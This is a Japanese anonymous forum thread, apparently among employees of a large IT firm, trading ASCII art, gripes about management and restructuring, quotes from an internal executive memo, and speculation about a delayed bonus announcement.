　　　　 /　　●　　　● |　　　
　　　　 |　u　Ｕ ( _●_) ミ　　オエー！！　　　
　　　 彡､　　　|ﾟ。､｀ ヽ。 　　　　　　　　　　
　　　 / 　　　　ヽU　∴ヽ　 　　　　　　　　　　　　　　　　　　　　　　　　　
　　　|´　　丶　ヽ ヽ U ：l　 。　　　　　　　　　　　　　　　　　　　　　　　　　　　
　　　 ｒ　　　ヽ、__)┌─┐゜　゜　　　　　　　　　　　　　　　　　
　　 　ヽ、___　　　ヽ| 茶. |　ﾋﾞﾁｬﾋﾞﾁｬﾋﾞﾁｬ！
　　　　と＿＿_＿ノヽニ.ﾉ　



　　　　　　∩＿＿＿∩
　　　　　　| ノ　　　　 　ヽ　　　　　　　　　　>>824
　　　　　 /　　＞　　　● |　　　　　　　　　
　　　　　|　　　　( _●_)　 ミ..　┌─┐　　　お茶どうぞクマ。
　　　　彡　　　　 |∪|　　､｀＼ ,| 茶. |　
　　　/. ＿　　　　ヽノ　 /´＼＿_)ニ.ﾉ　　　　　　
　　　(＿＿_)　　　　　./
　　　　　|　　　　　　 /
　　　　　|　　／＼　＼
　　　　　|　/　　　 )　 )
　　　　　∪　　　 （　 ＼
　　　　　　　　　　 ＼＿)

　　　　　　　ｎ｜
　　　　　　〔 凹〕　　　＜発表はまだかな
　　　＿＿/ヽ旦ゝ＿＿ ＿
　／ ＼　　　　　　（■）　　＼
.<＼※ ＼＿＿＿＿＿＿＿_＼
　 ヽ＼ ※　※　※　※　※　※ヽ
　　　＼`ー───------ー─--ヽ
　　　　 ￣￣￣￣ ￣￣￣ ￣￣￣″ 　　　水曜日の発表をお伝えします
　　　　　　　　　　　　　　　　　　　..＿＿＿＿
　　　　　　　　　　　　　　　　　　　|＼.＿＿＿＼
　　　　　　　　　　　　　　　　　　　|　 |ｒ―――ｔ|
　　　　　　　　　　　　　　　　　　　|　 ||=:::::::::::::=||
　　　　　　　　　　　　　　　　　　　ｌ＼||=：@：＝||、
　　　　　　　　　　　　　　　　　　　|ｌ...||￣￣￣￣||
　　　　　　　　　　　　　　　　　　　＼||＿＿＿＿||

ID:+iflzr5cの気は確かか？

俺の周りにも普段は普通なんだけど、
何か自分の思い通りに行かない事があると
パニックになる奴いる。

／￣￣￣￣￣￣￣￣￣
|>>825
|お茶が入りましたよ〜
＼
　￣￣Ｖ￣￣￣￣￣￣
　 ∧＿∧
　( ´Д`)
　／　　 ＼
　| I　　I |
　| |　　|.|｡:.ﾟ:
　ヽ＼_｡'ﾟ/　`｡:､`
　 /＼_ﾝ∩ｿ＼　:.ﾟ:
　/　/`ｰ'ｰ＼ ＼ﾟ::ﾟ:．
〈 〈　　　/　/ ﾟ::｡ﾟ
　＼ ＼　 /　/ :.ﾟ:ﾟ:
　　〉 ) (.:旦旦旦旦ﾟ:
　 (_,ﾉ　 `─旦旦旦旦

>>828
　/　/　　　　　_,,　　 / / _,
　　　/　/＿＿＿,/´ /　 / / //
　　/　　　　　　　 　/　 / / //
　 /　/´￣￣￣/　/,r-､/ //
　/　/　　　　　/　// /　l~Y､　,ｒ ―――、
/　/　　　　　/　//　ｋ / ソ,=､ｰ　　 　 ', ',ﾍ　　 __,,r'-=- ﾞy_―､
　 ＿＿ ,r―=＝ｲ　　´l／_Yﾞl l　l　　 　 | | |　　l＿l＿＿_l　 ヾ､｀ヽ,
￣　　　　　　｀￣ヽ、　ノ　 l､j l　l　　 　 | | |＼ｒ'　＝=､_　＼　　 ＜,
　　　　　　　　　　　)＿＿ノヽｲ-'　　 　///｀　　　=､､ヽ､｀　ﾉ　　 l |、
　　　　　＿r―"´ 　　　　＿_　｀ ー―テヾ､　　　 　｀ﾞ｀　 　 ）　ヾ ｀ﾞl､
　,=―'´ /　/　 　　　_／ _／　　 　 Y´､　　　　　　　,,,,,;;;'''／　　 ,　　ﾉ
／､　　/　/　　　_／　 ／　　　　 　.ﾍ 　＼　　　 '''　　　　＼　 ﾘ' l　 |
　　＼/　/　　／ _,,　 / 　　　 _／l 　ﾍ,　 　＼　　　　　　 　,｀Y　/　/
　　　　＼　　　￣/　/　 　_／ ／　　　!　　　　｀ー―l､､_;;;,ｒソノ/ /　　　_／l
ヽ　　　　　＼　　/　/　 ∠／| |　　　　l　　,,,;;;;''＿＿Tテ´　 ''　／　　_／ ／
　＼　　　　 　￣＼ 　　 　　 Ll　 　　 |ﾐl　　／ｒ彡彡,l　|￣￣　　　∠／| |
　　 ＼　　　 　 ＼　￣＼＿,r―‐､＿ﾉミl　/ (＠ｿ彡 lソヽ, ＿,、　　　　 Ll
　　　　＼　　 　　 ＼　　　／ ,ｒ＝＝=ミ　,r=＝=､、￣＼二三 {＿
　　　　　＼　　 　 　 ＼／　,Y　　　 ／　　　　　　ﾘ　　　 ／ ＿＿＼
　　　　　　　＼　　　 Y　 　 ｀!､、__/_＿　　　　　,,Y,　　 / ／　　　　ヽ
　　　　　／／ ＼/二ll　― 　 /　／　、￣￣￣r― ､　|　|　　 　　　 ヽ
　　　 ／／ 　 　 |o 0ll /　 　 /／　　　 ヽ　　,/´~￣｀l　| |　　　　　　　〉
　　／∠　　　　　! 0 ll　 ￣　/'　 ￣｀ヽ　　　l|○（　）l　| !　　　　　　/
　　 7 ／　　 　 　ヽ､ll　　　 /　　　　　 　　　ヾo 0 0/　 Y､／´　　Y
　／／　　　　　　　　　　　　　　　　 　 　 　 　 ￣￣　　　 |　　　　 |

／￣￣￣￣￣￣￣￣￣
|＞＞829
|お茶が入りましたよ〜
＼
　￣￣Ｖ￣￣￣￣￣￣
　 ∧＿∧
　( ´Д`)
　／　　 ＼
　| I　　I |
　| |　　|.|｡:.ﾟ:
　ヽ＼_｡'ﾟ/　`｡:､`
　 /＼_ﾝ∩ｿ＼　:.ﾟ:
　/　/`ｰ'ｰ＼ ＼ﾟ::ﾟ:．
〈 〈　　　/　/ ﾟ::｡ﾟ
　＼ ＼　 /　/ :.ﾟ:ﾟ:
　　〉 ) (.:旦旦旦旦ﾟ:
　 (_,ﾉ　 `─旦旦旦旦

+iflzr5c社員さんもっと気が狂って
弊社の疲弊っぷり、凋落っぷりを外部にアピールしてください。

>>830
　　　　　　　　∩＿＿＿_∩
　　　　　　　 / 　　　　 　　ヽ|
　　　　　　　/　●　 　 ●　　|　　　　 糖分が多いのか甘くておいしいクマー
　　　　　　　|///( _●_ )/// ミ　　　　
　　　　　　彡､,,　　|∪|　　　/ 　　　　
　　　　 　／＿＿ ヽノ　||￣￣|| 　　　
　　　　　(＿＿＿u）　　||'ﾟ｡ o ||ヽ 　　
　　　　　　　　|　　　　　||_｡_0_;||__） 　
　　　　　　　　　　　　 　|＿＿_.|

　　　　　 i:::::::::::::::::::ヽ 　>>832
　　 　　　l/＾_,ヽ,_:;;ノ オマエ　うざい
　　　　　从　・ω・）　　　　｡･ﾟ･⌒）
　　　　　/~ヽ、； i ^)) 　　　　　　　ネットのマナー守れよ
　 　　　(⌒'し' / ⌒)
　　　　（＿） ⌒（＿）
　　　""　　　　　　"

>APやCHQから言われているからやらないと仕方がない、という風土に
>なっているのではないか、という声を聞きます。
>人がこう言っているから仕方がないと言うのはやめましょう。
>言っている相手が誰であれ、自分の考えと違うのであればそれを
>しっかり主張すべきです。


言われているからやらないと仕方がない　というのは嘔吐死社長が
自ら率先してやってますね。外人の言いなりですからｗｗｗ

しかしこんな発言がW3に出るということは、いかに「オープンドアポリシー」が
機能していないか、如実に表していますね

>>833
　　　　　　　　　　　 　∧..∧
　　　　　　　　　　　. (´･ω･｀)　　＜ネットのマナーを守ります。
　　　　　　　　　　 cく_>ｙｃく__）
　　　　　　　　　　　（___,,_,,___,,_）　 ∬
　　　　　　　　　　彡※※※※ミ　旦
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　＼　どっ！！ 　／　　　＼　ワハハ！　／
　 　　　＼　　　　　／　　　　　　＼　　　　∞
　l||||||||||||||　∩,,∩　∩,,∩　　∩,,∩　ﾐ∩ハ∩彡
　（,　 　　）（,,　　　 ） 　　　,,）（　　　　）（　　　　）

　　　　　 i:::::::::::::::::::ヽ 　>>835　
　　 　　　l/＾_,ヽ,_:;;ノ 　　　　　　オマエもっと上品になれねえ?
　　　　　从　・ω・）　　　　｡･ﾟ･⌒）
　　　　　/~ヽ、； i ^てぃんこ)
　 　　　(⌒'し' / ⌒)
　　　　（＿） ⌒（＿）
　　　""　　　　　　"

>>836
∧__∧　　／￣￣￣￣￣￣￣￣
　　　 　 　∩・ω・）＜　残念ですが
□………(つ　　|　　＼＿＿＿＿＿＿＿＿
￣￣￣￣￣￣￣￣|
. 子供電話相談室　|
　 　 　 　 　 　 　 　 |

>>836
ずれた、すまん

なってたって本社まで売っちまったんだからな
完全にＴＨＥ　ＥＮＤ
機の来る歌社員がでるのも無理はない
漏れは見るべきものは蜜
来年木を取り直して天職活動開始

　　　　　_,,,-''"￣￣￣￣`',''-､,, 　
　　 　　,f'' ,;ﾆ--ﾆ､　　　　　　　　ヽ、
　　　　i' .;f, 　　　　 ``''ｰ-ﾆ-''`'''i;:;: ＼
　　,,::r'7" ::　　　　　　　　　　　　　'|　 ヽ
　 i'l　　|　::　　　　　　　　　　　　　　ﾞ）　i
　 |　ヽ`l　::　　　　　　　　　　　　　　| ノ ）
　.| ヾミ,l _;;-＝=ｪ;､　　 ,,,,,,,,,,,,,,,＿　　|彡| |
　 〉"l,＼（-ー:ｪｪヮ;::)へf';;_-ｪｪ-ニ／ﾞﾚr-{　　　
　 | ヽ":: ヽ＿＿ノ´.::;i,　iﾍ＿＿丿`　r';'　} 　 ／￣￣￣￣￣￣￣￣
　. ﾞN l　::.　　....:;イ;:'　　l　､　　　　　,l,ﾌ ﾉ　　 |　 >>837
　.　|_i"ヽ;:...:::／　ﾞ'''=-='''´｀ヽ.　　／i　l"　　＜　 マナーを守らない人は社長に言いつける
　　　.|　::ﾞl　 ::´~＝==' '==＝''`　,il" .|'".　　　 |　
　 　 .{　 ::|　､ ::　`::=====::"　,　il 　 |　　　　　＼＿＿＿＿＿＿＿＿
　　 /ﾄ､　:|.　ﾞl;:　　　　　　　 ,i'　,l'　ノﾄ､
　／ .|　＼ゝ､ﾞl;:　　　　　　,,/;;,ノ;r'" :|　＼
'"　　 |　　 `''-､`'ー--─'";;-'''"　　 ,|　　 ＼_

　　　　　彡⌒ミ 　　　　　　　　　　　 ID:6CZuk4xWの粘着を
　　　　彡　´_ゝ`ミ 　　　　　　　　　　クビにするスレ
　カタ　／　　　 ＼　 　　 　　　　　　　ドガァァァァァン・・・
　　　 /　　 　/￣￣￣￣/　 カタカタ
　 ＿_(__ﾆつ./　TINPAT / ＿＿＿＿
　 　　　 ＼/＿＿＿＿/

　　　　　　　　　　　　　　　　　　　　　
悩みがあるクマ？
　　　∩＿＿＿∩　　　)))　　　　>>841
　　　| ノ　ノ　ヽ、 ヽ　　／⌒）Λ＿Λ . . . .: : : ::: : :: ::::::::: :::::::::::::::::::::::::::::　　　
　　 /　　●　　　● |／　／ /:彡ミ゛ヽ;）ー､　. . .: : : :::::: :::::::::::::::::::::::::::::::::　　　　　
　　|　　　　( _●_)　 ミ／　 / :::/:: ヽ、ヽ、 ::i . .:: :.: ::: . :::::::::::::::::::::::::::::::::::::::
　彡　　　　 |∪|　　､｀ 　　/ :::/;;: 　 ヽ　ヽ ::ｌ　. :. :. .:: : :: :: :::::::: : ::::::::::::::::::　　　　
/ ＿,　　　　ヽノ　 /´　￣（_,ノ ￣￣￣ヽ､_ノ￣　　　　　　　　
(＿＿_)　　　　　./　　　　　　>>841

　　　　　彡⌒ミ 　　　　　　　　　　　 ID:6CZuk4xWの粘着を
　　　　彡　´_ゝ`ミ 　　　　　　　　　　クビにするスレ
　カタ　／　　　 ＼　 　　 　　　　　　　ドガァァァァァン・・・
　　　 /　　 　/￣￣￣￣/　 カタカタ
　 ＿_(__ﾆつ./　TINPAT / ＿＿＿＿
　 　　　 ＼/＿＿＿＿/

個人の尊重
最善のカストマー・サービス
完全性の追及
卓越したマネジメント
株主への責務
公正な購買取引
社会への貢献
もう一度思い出せ！

　　　　　 ,..-─‐-..､842 842 842
　　　　　 　 　 　 /.: : : : : : : .ヽ 　
　　　　　　　　　 R: : : :. : ｐq: :i} 842 842
　　　　　　 　 　 |:.i} : : : :_{: :.ﾚ′842 　　　
　　　　　　 　 　ﾉr┴-＜｣: :j|
　　　　　　　　/:r仁ニ= ﾉ:.ﾉ|! 　 　 　 　 　 _
　 　 　 　 　 /:/　＝　/: :/ }!　　　　　 　　|〕）　　ｺﾝ！
　　　　　　　{;ﾊ＿＿,ｲ: :f　 |　　　　　 　／´
　　　　　　 /　　　　　}rﾍ　├--r─y／
　　　　　／　　　　　r'‐-|　├-┴〆　　　　_, ､_ 　'⌒　☆
　　　 　 仁二ﾆ_‐-イ　　|　｜　　　　　　∩`Д´) 父ちゃんの気が狂った
　　　 　 | l　i　　厂 ￣ニﾆ¬　　　　　　ﾉ　　⊂ﾉ　 　,ゝ､ ＼　＼ 　 ＿＿厂`ヽ　 　 （__￣） ）
　　 　 /　/＼_i⌒ﾄ､_　　　ノrr-　}　　　　 し'し′
　　　└-'￣.　|　 |＿二二._｣｣__ノ

　　　　　　　　　　　　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　 〈〈〈〈　ヽ
　　　　　　　　　　　　　　　　　　　　　　　　　　〈⊃　　}
　　　　　　　　　　　　　　　　　　 ∩＿＿＿∩　 |　　 |
　　　　　　　　　　　　　　　　　　 | ノ　＼　／ ヽ !　　 !
　　　　　　　　　　　　　　　　　　/　　●　　　● |　　/ 　
　　　　　　　　　　　　　　　　　 |　　　　( _●_)　 ミ／ 　　　　　　そろそろ飲みに行く
　　　　　　　　　　　　　　　　　彡､　　　|∪|　　／　　　　　　　>>843　また明日遊ぶクマー
　　　　　　　　　　　　　　　　/　＿＿　 ヽノ　/ 　
　　　　　　　　　　　　　　　　(＿＿＿）　　　/ 　　
　　　　　　　　　　　 　　　　／　／　／　／ 　　　　
　　　　　　　　　　　　　　／　／　／　／
　　　　　　　　　　　　　　／　／　／ 　　　　　
　　　　　　　　　　　　　／　／ 　　　　　　　　
　　　　　　　　　　　　／／ 　　　　　　　　　　
　　　　　　　　　　／／ 　　　　　　　　　　　　
　　　　　　　　／／ 　　　　　　　　　　　　　
　　　　　　　／
　　　　　／

>>846
？？ ？？？ ？？？ ？？？？ ？？？？
？？？？？？ ？？？ ？？？？？？？ ？？？？
？？ ？？？ ？？？ ？？？？ ？？？？
？？？？？？ ？？？ ？？？？？？？ ？？？？

>>834
俺が笑ったのはこれ。少々長いが・・・

＞Weeklyでのオペレーションによるワークロードが厳しい、あるいはCHQ、APのレビューが多すぎる、
＞お客様のためにもっと時間を確保できないのか、という声があります。

＞お客様は、もっと提案して欲しいとおっしゃっています。ですから、
＞そのための時間をまず確保しましょう。これはお客様の業界、競争環境を理解し、
＞お客様の会社にこうなって欲しいという"仕事"をする時間です。
＞しかし、一方でSSL（Signature Sales Leadership）も、たくさんの案件を回して、成約いただき
＞サービスや製品をお届けしていくメカニズムとして必要です。しかし、これはあえて言うと、
＞やることが当たり前の"作業"です。作業で忙しくなると、仕事した錯覚に陥ってしまいます。
＞作業と仕事をする時間は分けて、本当の仕事をしていってもらいたいと思います。

＞しかし、SSLのような仕組みも時間が経つと、質問されることが増えて、
＞スタッフも時間もとられてしまうということを会社も認識しています。SSLで伝えられるべきことについては、
＞他の機会に調べたり議論したりすることは控えてSSLの時にやろうということを日本もAPでも徹底し始めています。
＞ですから、どこかから問い合わせが来ても、SSLで聞いてもらうよう断って、"作業"に時間をとられないようにしてください。


この会は根本的にバカなのかと思ったコメント。
何も解決してないしｗ

はい、水曜日になりました。

そろそろ　発表して下さいまし　笑

　　　　　彡⌒ミ 　　　　　　　　　　　 ID:6CZuk4xWの粘着を
　　　　彡　´_ゝ`ミ 　　　　　　　　　　クビにするスレ
　カタ　／　　　 ＼　 　　 　　　　　　　ドガァァァァァン・・・
　　　 /　　 　/￣￣￣￣/　 カタカタ
　 ＿_(__ﾆつ./　TINPAT / ＿＿＿＿
　 　　　 ＼/＿＿＿＿/

　　　　　　　ｎ｜
　　　　　　〔 凹〕　　　＜発表はまだかな
　　　＿＿/ヽ旦ゝ＿＿ ＿
　／ ＼　　　　　　（■）　　＼
.<＼※ ＼＿＿＿＿＿＿＿_＼
　 ヽ＼ ※　※　※　※　※　※ヽ
　　　＼`ー───------ー─--ヽ
　　　　 ￣￣￣￣ ￣￣￣ ￣￣￣″ 　　　水曜日の発表をお伝えします
　　　　　　　　　　　　　　　　　　　..＿＿＿＿
　　　　　　　　　　　　　　　　　　　|＼.＿＿＿＼
　　　　　　　　　　　　　　　　　　　|　 |ｒ―――ｔ|
　　　　　　　　　　　　　　　　　　　|　 ||=:::::::::::::=||
　　　　　　　　　　　　　　　　　　　ｌ＼||=：@：＝||、
　　　　　　　　　　　　　　　　　　　|ｌ...||￣￣￣￣||
　　　　　　　　　　　　　　　　　　　＼||＿＿＿＿||

ボーナスの発表でしょ

本日、あることが発表されます。

いつものとおり16時です。

たしか発表時間に制限がついているのはボーナスの発表だけですね。
（今年は例年より早い発表ですね。ここ数年は4〜5日遅れ気味のように思っていましたが。）

おい、おまいら！w3見てみろ。発表出てるぞ！

> サービス事業ならびにサービス子会社の整理・統合について

Employ Moral サーベイが始まるぞ！
嘔吐死への文句を書くぞ ゴルァ！

Employee Morale Survey　だった orx．．．

>>858,859
2Ch情報なんてそんなもんだ。これでも見て元気出せ！

http://ur.ur.to/picbbs/img/1854.gif

http://ur.ur.to/picbbs/img/1853.gif

今日の発表は延期されました。
１８日以降です

ええかげんじゃな。

モラルと一緒に信用も崩壊じゃ。
会社と一緒じゃな。

１８日以降です

　　　えっえー？！　待ちくたびれたぁ。

まあ、ボーナス減額の話なんか聞きたくないけどな。

リストラじゃ追いつかないから
兵糧攻めに作戦変更ですね。

転職活動、アルバイト活動やってますか？

>858
漏れはもう書いた

ダイエーの希望退職募集、予定上回り期限前打ち切り


こんなことになりませんように。。。

希望退職で2〜3割いなくなるというのもスゴイかも。

その分派遣で補充するから会社は関係ないだろう

ところで、今日なにか発表あったの?

有休だったからわかりません。

何もなかったよ

>870
特に無し。釣り情報かサーベイ終わった１８日以降かだろう。

なぁんだ、つまらない。

　　　　　　　　　　　　　☆ ﾁﾝ　　　　　　　　ﾏﾁｸﾀﾋﾞﾚﾀ〜
　　　　　　　　　　　　　　　　　　　　　　　　　　　　
　　　 　 　 ☆　ﾁﾝ　　〃　∧＿∧ 　 ／￣￣￣￣￣￣￣￣￣￣￣￣
　 　 　 　 　　ヽ　＿＿_＼（＼・∀・）＜重大発表まだぁ〜？？
　　 　 　 　 　 　 ＼＿／⊂　⊂＿)＿ ＼＿＿＿＿＿＿＿＿＿＿＿＿
　　 　 　 　 　 ／￣￣￣￣￣￣￣／|
　　　　　　　　| ￣ ￣￣￣￣￣￣:|　:|

水曜日に発表されると言っておいて
水曜日には発表されないんじゃ釣りと見るしかない

日本の運命
　６0年代　　　　７0年代　　　８０年代　　　　９０年代　　 ００年代　　１０年代
　高度成長　　さらに成長　バブル景気　失われた１０年　小泉不況　日本滅亡
　　↓　　　　　↓　　　　　　　　↓　　　　　　　　↓　　　　 　 ↓　　　　　 ↓
　　　　　　　　　　　　 　 　 　 　 　 　 　 　┃::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
　　　∧ ∧　　　∧∧　　　　　∧ ∧　　　┃::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
　　　(・∀・)　　∩∀・)　　　　(・∀・)∩ 　┃::: ∧∧::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
　　　/　⊃⊃　ヽ　　⊃ノ　　　/⊃　/ 　....┃:::('д` ）::::::::::::∧ ∧:::::::::::::::::::::::::::::::::::
　〜（　　(　　　　ヽ　 ）つ　〜（　ヽノ　 ......┃:::と　　ヽ::::::::: ('д` )::::::( 　　)⌒ヽ;::::::::::
　　 （/（/'　　　 　 (／　　　　　し^ Ｊ　 ......┃:::⊂,,_UＯ〜:::(∩∩ ):::::|/.|/uと　　)〜:::::

当たり前ジャン！！！
何も知らない奴が馬鹿の一つ覚えで書いてるに決まってるジャン！
まさか本気にしてたの？？

　　　　　　　　　　　　　☆ ﾁﾝ　　　　　　　　ﾏﾁｸﾀﾋﾞﾚﾀ〜
　　　　　　　　　　　　　　　　　　　　　　　　　　　　
　　　 　 　 ☆　ﾁﾝ　　〃　∧＿∧ 　 ／￣￣￣￣￣￣￣￣￣￣￣￣
　 　 　 　 　　ヽ　＿＿_＼（＼・∀・）＜○△□解任まだぁ〜？？
　　 　 　 　 　 　 ＼＿／⊂　⊂＿)＿ ＼＿＿＿＿＿＿＿＿＿＿＿＿
　　 　 　 　 　 ／￣￣￣￣￣￣￣／|
　　　　　　　　| ￣ ￣￣￣￣￣￣:|　:|

６０年代に入社
平成に退社
基本給７０マソ
退職金に割ましつきで６０００マソ
年金６０から満額
失業手当１年分満額

いい時代でしたね

リストラ・降格すべき人達一覧です！　
・軟弱な若手：　体力・精神力がみなぎっててもよいはずなのに、
　病弱な人がなぜか多い。会社側の問題だけではない。　　
　
・レビューするのが仕事の人：　会社のスピード感を阻害。
　定期的にレビューされる側に回さないとおかしくなる。
　
・社内で理屈ばかりこねる人：　お客様を説得するなら理解するが。
　
・提案書書けない or 書かない営業系社員。

・IT馬鹿：　ビジネスなんだから夢物語だけでは駄目。
　ICPにもたまにいるな。本当にお客様のビジネスに貢献したか。　　

・ロールやルールにこだわる人。

・人事とアドミしか出来なくなったライン管理職：　ラインと
　一般職でのローテーションが無いからこうなった。
　お客様と１対１で長く会話できないラインも今や多い。

・社内でしか仕事しない人：　社内向け技術資料作りばかりとか。
　コンピテンシとか言っても実績無いと使えるんだか？
　
・経営企画室：　日本法人に必要なの？

・例外承認で昇格したのに、リカバリしてない人（TOEICとか）　

・ラインでもICPでもないのにBAND9で居座ってる人達。
　　

>>880
君は正しい。